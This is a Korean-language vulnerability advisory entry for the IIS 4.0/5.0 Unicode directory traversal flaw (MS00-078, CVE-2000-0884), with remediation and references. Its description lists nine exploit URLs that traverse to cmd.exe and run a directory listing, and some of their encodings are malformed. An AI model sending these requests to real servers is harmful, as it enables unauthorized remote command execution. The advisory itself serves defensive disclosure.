| 취약점ID |
22103 |
| 위험도 |
40 |
| 포트 |
80, … |
| 프로토콜 |
TCP |
| 분류 |
WWW |
| 상세설명 |
IIS 서버(4.0/5.0)에 존재하는 취약점으로 웹브라우즈의 URL에서 '%c0%af'와 같은 unicode 표기를 이용하여 외부에서 서버내의 임의의 명령을 수행할 수 있다. OS가 있는 드라이브에 IIS서버가 설치되어 있을 때 취약점은 아래와 같은 방법으로 찾아질 수 있다. 만약 다른 드라이브에 설치되어 있다면 문제는 여전히 존재하지만 일단 아래와 같은 방법으로의 크래킹은 할 수 없다.
Http://target.server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/scripts/..%d0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://target.server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
* 참고 사이트:
http://technet.microsoft.com/en-us/security/bulletin/ms00-078 |
| 해결책 |
Microsoft사의 security bulletin에 있는 MS00-078를 참조하여 IIS 서버를 Patch하여야 한다.
http://support.microsoft.com/kb/269862/en-us |
| 관련 URL |
CVE-2000-0884 (CVE) |
| 관련 URL |
(SecurityFocus) |
| 관련 URL |
(ISS) |
|
